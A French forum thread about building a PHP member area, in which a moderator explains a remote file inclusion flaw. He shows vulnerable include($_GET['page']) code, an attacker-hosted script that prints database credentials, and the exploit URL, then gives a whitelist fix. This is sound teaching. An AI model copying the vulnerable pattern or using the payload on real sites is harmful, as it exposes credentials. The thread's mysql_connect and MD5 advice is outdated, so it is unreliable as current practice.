Forum d'entraide en sciences
Bienvenue sur le forum d'entraide en sciences ! Inscrivez-vous gratuitement pour accéder à l'intégralité du forum ou connectez-vous si c'est déjà fait !

Bonne visite !

[PHP] Création d'un espace membre

Aller en bas

membre - [PHP] Création d'un espace membre Empty [PHP] Création d'un espace membre

Message par Julien le Dim 14 Déc 2008 - 0:26

Bonjour !


Je suis en train de créer un espace membres sur mon site mais je rencontre quelques problèmes. Duche ou d'autres membres, j'espère que vous pourrez m'aider !

1) Comment renommer une base avec phpmyadmin ? (je parle bien d'une base de données, pas d'une table)

2) Quand on se connecte à la base par l'intermédiaire de
Code:
$base = mysql_connect ('server', 'login', 'password');
il n'y pas moyen de voir les identifiant et mot de passe en regardant le code source et heureusement ! Mais y a-t-il des précautions à prendre pour ne pas se faire hacker la base ?

3) Dans ma table des membres, j'ai voulu créer 5 champs (id, login, mdp_md5, nb_conn et points) mais quand un membre s'inscrit sur l'espace, j'ai une erreur parce que je n'initialise que les 3 premiers champs. J'ai pourtant mis une valeur par défaut aux 2 derniers membres. Mais suis-je obligé de l'initialiser lors de l'inscription d'un membre ?

4) Je galère un peu avec les sessions et les headers mais pour cette question, j'attends d'avoir la réponse à la question 2. :p
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 32
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 20879
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

membre - [PHP] Création d'un espace membre Empty Re: [PHP] Création d'un espace membre

Message par Duche le Mer 17 Déc 2008 - 13:37

Renommer une base de données, je n'ai jamais essayé, je ne sais pas si c'est possible en fait. Est-ce vraiment nécessaire ?
Par contre ce qui devrait être possible (mais à ne faire que si le renommage est impossible) c'est créer une nouvelles, exporter le contenu en script SQL DLL, importer ce contenu dans la nouvelle base et supprimer l'ancienne.

Pour ce qui est de la connexion, je n'ai encore jamais eu affaire à ce problème. Je ne travaille qu'en localhost pour le moment, avec les mots de passes par défaut.

Pour ne pas se faire hacker il y a des précautions à prendre oui. Je vais faire un petit post la dessus à la suite de celui-ci sur le sujet, avec un exemple d'erreur à ne pas faire.

Je suis partisant de les initialiser avec le PHP si ce sont des champs obligatoires de la base de données. Ca reste transparent pour l'utilisateur, mais la base de donnée reçoit quand meme tous les champs.

Pour la gestion des session, le meux est que tu regardes mon code que je t'ai evoyé Very Happy

_________________
Duche
ERROR - No keyboard Connected. Press any key to continue...
Duche
Duche
Modérateur
Modérateur

Masculin Nombre de messages : 2210
Age : 34
Localisation : Louvain-la-Neuve (Belgique)
Profession / Etudes : Développeur en optimisation
Points : 6645
Date d'inscription : 16/01/2006

Revenir en haut Aller en bas

membre - [PHP] Création d'un espace membre Empty Re: [PHP] Création d'un espace membre

Message par Duche le Mer 17 Déc 2008 - 14:26

Une bonne façon de se faire hacker sa base de données.

Le problème vient d'une structure de site assez élégante mais pour laquelle il faut faire très attention.
Imaginons que je fasse mon site avec une seule page de base, par exemple monsite.php, à laquelle on fournit des paramètres via les options GET. Il suffirait par exemple de faire:

Code:

<!-- page monsite.php -->

<?php
  $db_login = 'duche';
  $db_password = '123456';
?>

<html>
<body>

<?php
  include($_GET['page']);
?>

</body>
</html>

Il suffirait alors d'entrer l'url de cette façon ci: http://www.monsite.php?page=ma_page.php

C'est une façon de coder très élégante, les fichiers sont bien séparés et bien ordonnés. Mais il réside une grande faille. Certes l'utilisateur (et le hacker) ne peut pas voir le code php (à moins bien sur de hacker le serveur lui-même, mais ça c'est un problème de sécuité qui doit être réglé par les administrateurs du serveur, pas le webmaster d'un site qui y est hébergé), mais il peut par exemple écrire un fichier php comme ceci:

Code:

<?php
  echo 'login = '.$db_login.'<br/>password = '.$db_password';
?>
qu'il hébergera sur son site par exemple sous le nom http://www.hack.php.
Il lui suffira alors d'appeler http://www.monsite.php?page=http://www.hack.php
Et cela affichera votre mot de passe et votre password de la base de données. Une fois récupérés, il peut faire ce qu'il veut avec votre base de données.

Pour se protéger de cela, il faudra rendre la page principale un peu plus sécurisée, par exemple en faisant ceci:

Code:

<!-- page monsite.php -->

<?php
  $db_login = 'duche';
  $db_password = '123456';
?>

<html>
<body>

<?php
  switch($_GET['page'])
  {
    case 'page1': include('page1.php'); break;
    case 'page2': include('page2.php'); break;
    case 'page3': include('page3.php'); break;
    default: echo 'URL incorrect.';
  }
?>

</body>
</html>

Qui ne permet donc qu'une liste préétablie d'url possibles.

_________________
Duche
ERROR - No keyboard Connected. Press any key to continue...
Duche
Duche
Modérateur
Modérateur

Masculin Nombre de messages : 2210
Age : 34
Localisation : Louvain-la-Neuve (Belgique)
Profession / Etudes : Développeur en optimisation
Points : 6645
Date d'inscription : 16/01/2006

Revenir en haut Aller en bas

membre - [PHP] Création d'un espace membre Empty Re: [PHP] Création d'un espace membre

Message par Julien le Mer 17 Déc 2008 - 17:40

Ok ok je vois. Merci bien pour tes précisions et pour l'histoire de la sécurité aussi ! Very Happy
Julien
Julien
Administrateur
Administrateur

Masculin Nombre de messages : 12291
Age : 32
Localisation : Clermont-Ferrand
Profession / Etudes : Ingénieur
Points : 20879
Date d'inscription : 10/03/2005

Revenir en haut Aller en bas

membre - [PHP] Création d'un espace membre Empty Re: [PHP] Création d'un espace membre

Message par Contenu sponsorisé


Contenu sponsorisé


Revenir en haut Aller en bas

Revenir en haut

- Sujets similaires

 
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum